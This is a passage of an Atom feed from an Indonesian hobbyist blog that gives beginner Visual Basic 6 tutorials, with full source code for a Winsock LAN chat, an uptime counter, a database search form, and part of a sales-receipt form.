rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7872901297791207431.post-5618725547182512099</id><published>2009-03-08T20:29:00.006+07:00</published><updated>2009-03-08T22:04:10.822+07:00</updated><title type='text'>Membuat program chating LAN sederhana</title><content type='html'>Hai para vbthok mania…sudah hampir 2 bulan neh penulis tidak produktif dalam pembuatan artikel untuk vbthok mania dikarenakan penulis lagi sibuk dengan pekerjaan yang menyita bnyak waktu.Hehehe…sok sibuk deeh…&lt;br /&gt;Oke kali ini penulis ingin mengajak vbthok mania untuk sharing lagi dalam pembuatan program chating dimana program ini dibuat hanya untuk Local Area Network (LAN) dan tidak untuk online diinternet. Mungkin kalian berfikir kenapa hanya untuk LAN saja tidak bisa untuk online diinternet, nah kalo untuk online diinternet mungkin sudah banyak program jadi yang tidak kalah keren dan handal seperti yahoo messeger, so kalian bisa menggunakan program jadi tersebut daripada buat sendiri…Hehehehe&lt;br /&gt;Tapi jangan salah kalo kalian ingin chat hanya untuk LAN mungkin kalian tidak akan bisa menggunakan  program yahoo messenger dan untuk itu penulis ingin membuat program chating hanya untuk LAN saja. Yah sapa tau dengan program sederhana ini vbthok mania ingin mengembangkannya lagi menjadi program yang setara dengan yahoo messenger atau bahkan bisa dipakai di internet dan LAN.Woww..kereen tuuh…&lt;br /&gt;Yawda tanpa panjang lebar lagi sekarang buatlah 1 project untuk server yang nantinya program ini dijalankan pada komputer yang dijadikan server, nah didalam project ini buat 1 form dan berikan 1 komponen winsock dengan mengaktifkan komponen microsoft winsock control terlebih dahulu ditabel komponen pada program visual basic, setting propertis untuk name winsock diganti menjadi server. Kemudian desain tampilan sesuai yang ada pada gambar dengan memberikan 1 textbox untuk tabel messageg chat yang disetting propertisnya untuk name = tbmessage multiline = true, scrollbar = vertical kemudian 1 text untuk tulis pesan dengan setting propertisnya name = tbsay, 2 label untuk tombol connect dan disconnect dengan setting propertis label1 name = startt dan label2 name = stopp. Berikut tampilan preview program chat untuk server yang sudah jadi&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_eGS0YABgxQo/SbPJxNKpW3I/AAAAAAAAAGo/WvvLmCsSjqw/s1600-h/Server.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 292px; height: 400px;" src="http://3.bp.blogspot.com/_eGS0YABgxQo/SbPJxNKpW3I/AAAAAAAAAGo/WvvLmCsSjqw/s400/Server.jpg" alt="" id="BLOGGER_PHOTO_ID_5310810232785034098" border="0" /&gt;&lt;/a&gt;Untuk yang client hampir sama tinggal menambahkan text untuk ip address server saja dan  tombol untuk koneksi, berikut tampilan untuk program clientnya&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_eGS0YABgxQo/SbPMfuKlnDI/AAAAAAAAAGw/ghbIjtV8vdI/s1600-h/client.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 292px; height: 400px;" src="http://1.bp.blogspot.com/_eGS0YABgxQo/SbPMfuKlnDI/AAAAAAAAAGw/ghbIjtV8vdI/s400/client.jpg" alt="" id="BLOGGER_PHOTO_ID_5310813230940396594" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;untuk sorce codenya sebagai berikut&lt;br /&gt;'form server&lt;br /&gt;Private Sub Form_Load()&lt;br /&gt;startt.Visible = True&lt;br /&gt;stopp.Visible = False&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub stopp_Click()&lt;br /&gt;startt.Visible = True&lt;br /&gt;Server.Close&lt;br /&gt;stopp.Visible = False&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Label1_Click()&lt;br /&gt;End&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub startt_Click()&lt;br /&gt;stopp.Visible = True&lt;br /&gt;&lt;br /&gt;startt.Visible = False&lt;br /&gt;Server.LocalPort = 2500&lt;br /&gt;Server.Listen&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Server_ConnectionRequest(ByVal requestID As Long)&lt;br /&gt;Server.Close&lt;br /&gt;Server.Accept requestID&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Server_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)&lt;br /&gt;Call MsgBox(Description, bvExclimation, "Error Num." &amp;amp; Number)&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Server_DataArrival(ByVal bytesTotal As Long)&lt;br /&gt;Dim strData As String&lt;br /&gt;Server.GetData strData&lt;br /&gt;tbMessages.Text = tbMessages &amp;amp; "Client: " &amp;amp; strData &amp;amp; vbCrLf&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub tbSay_KeyPress(KeyAscii As Integer)&lt;br /&gt;On Error Resume Next&lt;br /&gt;Dim strMessage As String&lt;br /&gt;If KeyAscii = (13) Then&lt;br /&gt;strMessage = tbSay.Text&lt;br /&gt;tbMessages.Text = tbMessages.Text &amp;amp; "Server: " &amp;amp; tbSay &amp;amp; vbCrLf&lt;br /&gt;Server.SendData strMessage&lt;br /&gt;tbSay.Text = ""&lt;br /&gt;End If&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;'form client&lt;br /&gt;Private Sub exit_Click()&lt;br /&gt;End&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Form_Load()&lt;br /&gt;tbl_konek.Visible = True&lt;br /&gt;tbl_disconect.Visible = False&lt;br /&gt;&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Private Sub tbl_konek_Click()&lt;br /&gt;On Error GoTo Error:&lt;br /&gt;Client.RemotePort = 2500&lt;br /&gt;Client.RemoteHost = tbIP.Text&lt;br /&gt;Client.Connect&lt;br /&gt;tbl_konek.Visible = False&lt;br /&gt;tbl_disconect.Visible = True&lt;br /&gt;Error: Exit Sub&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub cbConnect_Click()&lt;br /&gt;&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub tbl_disconect_Click()&lt;br /&gt;Client.Close&lt;br /&gt;tbl_konek.Visible = True&lt;br /&gt;tbl_disconect.Visible = False&lt;br /&gt;&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Private Sub tbSay_KeyPress(KeyAscii As Integer)&lt;br /&gt;On Error Resume Next&lt;br /&gt;Dim strData As String&lt;br /&gt;If KeyAscii = (13) Then&lt;br /&gt;strData = tbSay.Text&lt;br /&gt;tbMessages.Text = tbMessages.Text &amp;amp; "Client: " &amp;amp; tbSay &amp;amp; vbCrLf&lt;br /&gt;Client.SendData strData&lt;br /&gt;tbSay.Text = ""&lt;br /&gt;End If&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Client_DataArrival(ByVal bytesTotal As Long)&lt;br /&gt;Dim strData As String&lt;br /&gt;Client.GetData strData&lt;br /&gt;tbMessages.Text = tbMessages &amp;amp; "Server: " &amp;amp; strData &amp;amp; vbCrLf&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Client_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)&lt;br /&gt;Call MsgBox(Description, vbExclamation, "Error Num." &amp;amp; Number)&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Segitu aja script kodenya, silakan mencoba sendiri dan berkespresi lagi dalam mengembangkan program chat untuk LAN ini....yang pasti tetep semangat dan pantang menyerah untuk belajar. OK??&lt;br /&gt;Oiya untuk yang pengen liat lansung source codenya bisa di donlot &lt;a href="http://www.ziddu.com/download/3785173/LANChat.zip.html"&gt;disini&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7872901297791207431-5618725547182512099?l=vbthok.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vbthok.blogspot.com/feeds/5618725547182512099/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7872901297791207431&amp;postID=5618725547182512099' title='3 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/5618725547182512099'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/5618725547182512099'/><link rel='alternate' type='text/html' href='http://vbthok.blogspot.com/2009/03/membuat-program-chating-lan-sederhana.html' title='Membuat program chating LAN sederhana'/><author><name>ToMeE</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_eGS0YABgxQo/SbPJxNKpW3I/AAAAAAAAAGo/WvvLmCsSjqw/s72-c/Server.jpg' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7872901297791207431.post-9186234507412034182</id><published>2009-01-27T09:49:00.005+07:00</published><updated>2009-01-27T12:20:32.404+07:00</updated><title type='text'>Menghitung lama waktu komputer dijalankan</title><content type='html'>Pernahkah kalian mencoba menghitung lama komputer dihidupkan?? dari mulai komputer dinyalakan.Nah kali ini penulis akan mencoba membuat program penghitung waktu dengan menggunakan fungsi API.&lt;br /&gt;Yang perlu disiapkan yaitu 1 form, 1 module,1 komponen timer kemudian atur desainnya seperti contoh preview dibawah ini&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_eGS0YABgxQo/SX6DDJvtfoI/AAAAAAAAAGY/2zSl4Ehnj6Y/s1600-h/soft.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 354px; height: 235px;" src="http://2.bp.blogspot.com/_eGS0YABgxQo/SX6DDJvtfoI/AAAAAAAAAGY/2zSl4Ehnj6Y/s400/soft.JPG" alt="" id="BLOGGER_PHOTO_ID_5295814302013161090" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;berikut ini untuk source codenya&lt;br /&gt;'untuk form 1&lt;br /&gt;Private Sub Form_Load()&lt;br /&gt;    nTime = GetTickCount()&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Timer1_Timer()&lt;br /&gt;Dim Time As Long&lt;br /&gt;Dim detik As Long&lt;br /&gt;Dim menit As Long&lt;br /&gt;Dim jam As Long&lt;br /&gt;&lt;br /&gt;    ' untuk me-refesh timer ini gunakan&lt;br /&gt;    ' setting interval dalam properti timer&lt;br /&gt;    ' dengan nilai 1000 (1 detik)&lt;br /&gt;   &lt;br /&gt;    Time = GetTickCount()&lt;br /&gt;    detik = Round(Time / 1000)&lt;br /&gt;    menit = Round(detik / 60)&lt;br /&gt;    jam = Round(menit / 60)&lt;br /&gt;   &lt;br /&gt;       &lt;br /&gt;    List1.Clear&lt;br /&gt;   ' List1.AddItem ("Total waktu berjalan = " &amp;amp; vbTab &amp;amp; Time &amp;amp; " millisecond")&lt;br /&gt;    List1.AddItem ("")&lt;br /&gt;    List1.AddItem (jam &amp;amp; " Jam, atau " &amp;amp; _&lt;br /&gt;                   menit &amp;amp; " Menit, atau " &amp;amp; _&lt;br /&gt;                   detik &amp;amp; " Detik")&lt;br /&gt;    List1.AddItem ""&lt;br /&gt;    List1.AddItem "Waktu dari mulai program ini dijalankan: " &amp;amp; Round((Time - nTime) / 1000) &amp;amp; " Detik"&lt;br /&gt;   &lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;' script untuk module&lt;br /&gt;&lt;br /&gt;Public Declare Function GetTickCount Lib "kernel32" () As Long&lt;br /&gt;Public nTime As Long&lt;br /&gt;&lt;br /&gt;Selesai sudah script kodeya skrg tinggal di compile dan pasti jalan programnya, kalo ada error mungkin bisa liat program masternya...donlot &lt;a href="http://www.ziddu.com/download/3313430/MengetahuiBerapaLamaSistemWindowsBerjalan.zip.html"&gt;disini&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7872901297791207431-9186234507412034182?l=vbthok.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vbthok.blogspot.com/feeds/9186234507412034182/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7872901297791207431&amp;postID=9186234507412034182' title='1 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/9186234507412034182'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/9186234507412034182'/><link rel='alternate' type='text/html' href='http://vbthok.blogspot.com/2009/01/menghitung-lama-waktu-komputer.html' title='Menghitung lama waktu komputer dijalankan'/><author><name>ToMeE</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_eGS0YABgxQo/SX6DDJvtfoI/AAAAAAAAAGY/2zSl4Ehnj6Y/s72-c/soft.JPG' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7872901297791207431.post-1724583534935191261</id><published>2009-01-19T10:55:00.003+07:00</published><updated>2009-01-19T11:17:12.321+07:00</updated><title type='text'>Teknik Pencarian Data</title><content type='html'>Ada diantara vbthok mania kemaren yang minta penulis membahas tentang teknik pencarian data, nah kali ini akan coba dibahas semoga bisa dijadikan bahan referensi bagi vbthok mania agar bisa mengembangkan lagi teknik pencarian data yang lebih luas dan akurat.&lt;br /&gt;berikut ini tampilan form pencarian data&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_eGS0YABgxQo/SXP8j729xrI/AAAAAAAAAGI/Z3SVl5eLFi8/s1600-h/cari.bmp"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 273px;" src="http://2.bp.blogspot.com/_eGS0YABgxQo/SXP8j729xrI/AAAAAAAAAGI/Z3SVl5eLFi8/s400/cari.bmp" alt="" id="BLOGGER_PHOTO_ID_5292851681384318642" border="0" /&gt;&lt;/a&gt;untuk penggunaan data bisa dicari melalui filter data berdasarkan nama, alamat, notelp jika sudah ditentukan baru inputkan data yang dicari. misal : data yang dicari bernama doni maka pilih berdasarkan nama kemudian ketikkan doni pada kolom cari data kemudian enter setelah muncul klik detail pencarian maka segala macam info tentang doni bisa dilihat pada form detail.&lt;br /&gt;&lt;br /&gt;untuk script kodenya neeeh...&lt;br /&gt;'form utama&lt;br /&gt;Private Sub Command1_Click()&lt;br /&gt;On Error Resume Next&lt;br /&gt;Dim cari As String&lt;br /&gt;Dim cari1 As String&lt;br /&gt;Dim cari2 As String&lt;br /&gt;cari = "nama='" &amp;amp; Text1.Text &amp;amp; "'"&lt;br /&gt;cari1 = "alamat='%" &amp;amp; Text1.Text &amp;amp; "'%"&lt;br /&gt;cari2 = "notelp='%" &amp;amp; Text1.Text &amp;amp; "'%"&lt;br /&gt;Adodc1.Recordset.MoveFirst&lt;br /&gt;Adodc1.Recordset.Find cari&lt;br /&gt;Adodc1.Recordset.Find cari1&lt;br /&gt;Adodc1.Recordset.Find cari2&lt;br /&gt; 'Adodc1.Recordset.EOF&lt;br /&gt;If Combo1.ListIndex = 0 Then&lt;br /&gt;   Adodc1.Recordset.MoveFirst&lt;br /&gt;   Adodc1.Recordset.Find cari&lt;br /&gt;   Form2.Show&lt;br /&gt;   detail&lt;br /&gt;ElseIf Combo1.ListIndex = 1 Then&lt;br /&gt;   Adodc1.Recordset.MoveFirst&lt;br /&gt;   Adodc1.Recordset.Find cari1&lt;br /&gt;   Form2.Show&lt;br /&gt;   detail&lt;br /&gt; ElseIf Combo1.ListIndex = 5 Then&lt;br /&gt;   Adodc1.Recordset.MoveFirst&lt;br /&gt;   Adodc1.Recordset.Find cari2&lt;br /&gt;   Form2.Show&lt;br /&gt;   detail&lt;br /&gt; End If&lt;br /&gt;Adodc1.Recordset.MoveFirst&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Sub detail()&lt;br /&gt;'On Error Resume Next&lt;br /&gt;Dim MGrs As String&lt;br /&gt;     MGrs = String$(50, "-")&lt;br /&gt;     Form2.CurrentX = 0&lt;br /&gt;     Form2.CurrentY = 0&lt;br /&gt;     Form2.Font = "Courier New"&lt;br /&gt;     Form2.FontSize = 10&lt;br /&gt;     Form2.FontBold = True&lt;br /&gt;     Form2.Print Tab(27); ""&lt;br /&gt;     Form2.Print Tab(5); "   D E T A I L   P E N C A R I A N   D A T A  "&lt;br /&gt;     Form2.FontBold = False&lt;br /&gt;     Form2.Print&lt;br /&gt;     Form2.Print Tab(5); "Nama    : ";&lt;br /&gt;     Form2.Print Tab(15); Adodc1.Recordset!nama&lt;br /&gt;     Form2.Print Tab(5); "Alamat  : ";&lt;br /&gt;     Form2.Print Tab(15); Adodc1.Recordset!alamat&lt;br /&gt;     Form2.Print Tab(5); "No Telp : ";&lt;br /&gt;     Form2.Print Tab(15); Adodc1.Recordset!notelp&lt;br /&gt;    Form9.FontBold = False&lt;br /&gt;  Form9.Print Tab(5); ""&lt;br /&gt;  Form9.Print Tab(5); ""&lt;br /&gt;  Form9.Print Tab(5); ""&lt;br /&gt;  End Sub&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Private Sub Form_Load()&lt;br /&gt;&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Text1_KeyPress(KeyAscii As Integer)&lt;br /&gt;KeyAscii = Asc(UCase(Chr(KeyAscii)))&lt;br /&gt;If KeyAscii = 13 Then&lt;br /&gt;If Combo1.ListIndex = 0 Then&lt;br /&gt;      Adodc1.RecordSource = "select * from data where nama like'%" &amp;amp; Text1.Text &amp;amp; "%'"&lt;br /&gt;      Adodc1.Refresh&lt;br /&gt;ElseIf Combo1.ListIndex = 1 Then&lt;br /&gt;      Adodc1.RecordSource = "select * from data where alamat like'%" &amp;amp; Text1.Text &amp;amp; "%'"&lt;br /&gt;       Adodc1.Refresh&lt;br /&gt;ElseIf Combo1.ListIndex = 2 Then&lt;br /&gt;      Adodc1.RecordSource = "select * from data where notelp like'%" &amp;amp; Text1.Text &amp;amp; "%'"&lt;br /&gt;       Adodc1.Refresh&lt;br /&gt;End If&lt;br /&gt;End If&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Text1_KeyUp(KeyCode As Integer, Shift As Integer)&lt;br /&gt;Select Case KeyCode&lt;br /&gt;Case Is = vbKeyEscape&lt;br /&gt;Adodc1.RecordSource = "select * from data"&lt;br /&gt;Adodc1.Refresh&lt;br /&gt;End Select&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Nah, mudah khan?? tinggal bagaimana vbthok mania mengembangkan sendiri sehingga pencarian lebih akurat.Tapi saya rasa ini sudah contoh yang paling akurat..hehehe...&lt;br /&gt;untuk yang males membuatnya silakan download &lt;a href="http://www.ziddu.com/download/3230395/pencariandata.zip.html"&gt;disini&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7872901297791207431-1724583534935191261?l=vbthok.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vbthok.blogspot.com/feeds/1724583534935191261/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7872901297791207431&amp;postID=1724583534935191261' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/1724583534935191261'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/1724583534935191261'/><link rel='alternate' type='text/html' href='http://vbthok.blogspot.com/2009/01/teknik-pencarian-data.html' title='Teknik Pencarian Data'/><author><name>ToMeE</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_eGS0YABgxQo/SXP8j729xrI/AAAAAAAAAGI/Z3SVl5eLFi8/s72-c/cari.bmp' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7872901297791207431.post-4077689056580543588</id><published>2009-01-13T14:58:00.010+07:00</published><updated>2009-01-13T16:39:14.541+07:00</updated><title type='text'>Membuat Nota Print Out Penjualan</title><content type='html'>Hmmm udah hampir stengah bulan penulis blum berbagi ilmu dengan vbthok mania coz terlalu banyak kesibukan penulis jadi gak sempet2 buat mengisi artikel...&lt;br /&gt;Hari ini penulis mencoba ingin memberi contoh cara membuat nota prin out penjualan, yah sapa tau bisa dijadikan referensi buat desain tampilan nota agar lebih keren..&lt;br /&gt;yang perlu disiapkan adalah :&lt;br /&gt;buat 2 form dan aktifkan preference microsoft DAO 2.5/3.51, microsoft activex data object library, aktifkan komponen microsoft databoundgrid dan data boundlist.&lt;br /&gt;kemudian desain sesuai contoh.Untuk backgorund bs kalian buat sendiri di adobe photoshop.&lt;br /&gt;dan berikut preview program yang sudah jadi&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_eGS0YABgxQo/SWxN66ZQu8I/AAAAAAAAAF4/CN2_hKPlNNk/s1600-h/nota2.bmp"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 317px;" src="http://2.bp.blogspot.com/_eGS0YABgxQo/SWxN66ZQu8I/AAAAAAAAAF4/CN2_hKPlNNk/s400/nota2.bmp" alt="" id="BLOGGER_PHOTO_ID_5290689336756452290" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Dan berikut hasil nota yang dihasilkan jika di print&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_eGS0YABgxQo/SWxP1UNnQVI/AAAAAAAAAGA/TD72nX7Pzac/s1600-h/nota.bmp"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 346px;" src="http://3.bp.blogspot.com/_eGS0YABgxQo/SWxP1UNnQVI/AAAAAAAAAGA/TD72nX7Pzac/s400/nota.bmp" alt="" id="BLOGGER_PHOTO_ID_5290691439630958930" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;untuk scriptnya ada disini&lt;br /&gt;' untuk  form penjualan&lt;br /&gt;&lt;br /&gt;Public dbs As Database&lt;br /&gt;Dim tot As Single&lt;br /&gt;&lt;br /&gt;Private Sub chameleonButton1_Click()&lt;br /&gt;Form9.Show&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub chameleonButton2_Click()&lt;br /&gt;'On Error Resume Next&lt;br /&gt;&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub hapus()&lt;br /&gt;  'On Error Resume Next&lt;br /&gt;   temp.Recordset.MoveFirst&lt;br /&gt;  Do&lt;br /&gt;    temp.Recordset.Delete&lt;br /&gt;    temp.Recordset.MoveNext&lt;br /&gt;  Loop Until temp.Recordset.EOF&lt;br /&gt;  DBGrid1.Refresh&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Command1_Click()&lt;br /&gt;&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Command2_Click()&lt;br /&gt;&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub DBCombo2_Click(Area As Integer)&lt;br /&gt;'DBGrid2.Visible = True&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Private Sub DBGrid2_Click()&lt;br /&gt;&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Form_Load()&lt;br /&gt;'On Error Resume Next&lt;br /&gt;Dim total As Single&lt;br /&gt;Data1.DatabaseName = App.Path &amp;amp; "\pabrik.mdb"&lt;br /&gt;Dbrg.DatabaseName = App.Path &amp;amp; "\pabrik.mdb"&lt;br /&gt;HPes.DatabaseName = App.Path &amp;amp; "\pabrik.mdb"&lt;br /&gt;DPes.DatabaseName = App.Path &amp;amp; "\pabrik.mdb"&lt;br /&gt;HJual.DatabaseName = App.Path &amp;amp; "\pabrik.mdb"&lt;br /&gt;Djual.DatabaseName = App.Path &amp;amp; "\pabrik.mdb"&lt;br /&gt;temp.DatabaseName = App.Path &amp;amp; "\pabrik.mdb"&lt;br /&gt;Data.DatabaseName = App.Path &amp;amp; "\key.mdb"&lt;br /&gt;Data2.DatabaseName = App.Path &amp;amp; "\key.mdb"&lt;br /&gt;Data2.RecordSource = "jual"&lt;br /&gt;Dbrg.RecordSource = "barang"&lt;br /&gt;Data1.RecordSource = "customer"&lt;br /&gt;HPes.RecordSource = "h_pesan"&lt;br /&gt;DPes.RecordSource = "d_pesan"&lt;br /&gt;HJual.RecordSource = "h_jual"&lt;br /&gt;Djual.RecordSource = "d_jual"&lt;br /&gt;temp.RecordSource = "temp_jual"&lt;br /&gt;Data.RecordSource = "temp"&lt;br /&gt;Set dbs = OpenDatabase(App.Path &amp;amp; "\key.mdb")&lt;br /&gt;Set Data.Recordset = dbs.OpenRecordset("temp", dbOpenDynaset)&lt;br /&gt;On Error Resume Next&lt;br /&gt;  Me.Left = (Screen.Width - Me.Width) / 2&lt;br /&gt;  Me.Top = (Screen.Height - Me.Height) / 6&lt;br /&gt;  TTglBon.Text = Format(Date, "dd - mm - yyyy")&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub CAuto_Click()&lt;br /&gt;On Error Resume Next&lt;br /&gt;  Dim NoB As Long&lt;br /&gt;  Dim NoL As String&lt;br /&gt;  If HJual.Recordset.BOF And HJual.Recordset.EOF Then&lt;br /&gt;     NoB = 1&lt;br /&gt;  Else&lt;br /&gt;     HJual.Recordset.MoveLast&lt;br /&gt;     NoB = Val(HJual.Recordset!No_nota) + 1&lt;br /&gt;  End If&lt;br /&gt;  TNoBon.Text = Left("00000", 6 - Len(Trim(Str(NoB)))) &amp;amp; Trim(Str(NoB))&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub DBCombo2_Change()&lt;br /&gt;'On Error Resume Next&lt;br /&gt;   HPes.Recordset.Index = "np"&lt;br /&gt;   HPes.Recordset.Seek "=", DBCombo2.Text&lt;br /&gt;   If Not HPes.Recordset.NoMatch Then&lt;br /&gt;   Tcust.Text = HPes.Recordset!kd_cust&lt;br /&gt;      Set Data.Recordset = dbs.OpenRecordset("select * from temp where no_pes like '*" &amp;amp; DBCombo2.Text &amp;amp; "*'", dbOpenDynaset)&lt;br /&gt;     Do&lt;br /&gt;   temp.Recordset.AddNew&lt;br /&gt;   temp.Recordset!kd_brg = Data.Recordset!kd_brg&lt;br /&gt;   temp.Recordset!grup = Data.Recordset!grup&lt;br /&gt;   temp.Recordset!nama = Data.Recordset!nama&lt;br /&gt;   temp.Recordset!jumlah = Data.Recordset!jumlah&lt;br /&gt;   temp.Recordset!total = Data.Recordset!total&lt;br /&gt;   temp.Recordset.Update&lt;br /&gt;   temp.Refresh&lt;br /&gt;   Data.Recordset.MoveNext&lt;br /&gt;   Loop Until Data.Recordset.EOF&lt;br /&gt;   tdisc.SetFocus&lt;br /&gt; End If&lt;br /&gt;Dim TTemp As Single&lt;br /&gt;TTemp = 0&lt;br /&gt;  On Error Resume Next&lt;br /&gt;  temp.Recordset.MoveFirst&lt;br /&gt;  Do&lt;br /&gt;    TTemp = TTemp + temp.Recordset!total&lt;br /&gt;    temp.Recordset.MoveNext&lt;br /&gt;  Loop Until temp.Recordset.EOF&lt;br /&gt;  ttotal.Caption = Format(TTemp, "###,###,###")&lt;br /&gt;  On Error GoTo 0&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub TJumlah_KeyPress(KeyAscii As Integer)&lt;br /&gt;On Error Resume Next&lt;br /&gt;    If Not (KeyAscii &gt;= Asc("0") And KeyAscii &lt;= Asc("9") Or KeyAscii = vbKeyBack) Then&lt;br /&gt;       Beep&lt;br /&gt;       KeyAscii = 0&lt;br /&gt;    End If&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Label15_click()&lt;br /&gt;'On Error Resume Next&lt;br /&gt;Dim Jum As Integer&lt;br /&gt;Dim X As Integer&lt;br /&gt;Jum = 0&lt;br /&gt;  CAuto_Click&lt;br /&gt;  If DBCombo2.Text = "" Then&lt;br /&gt;     X = MsgBox("No Pesan belum diisi !!", vbOKOnly)&lt;br /&gt;     DBCombo2.SetFocus&lt;br /&gt;     Exit Sub&lt;br /&gt;  End If&lt;br /&gt;  If tbayar.Text = "0" 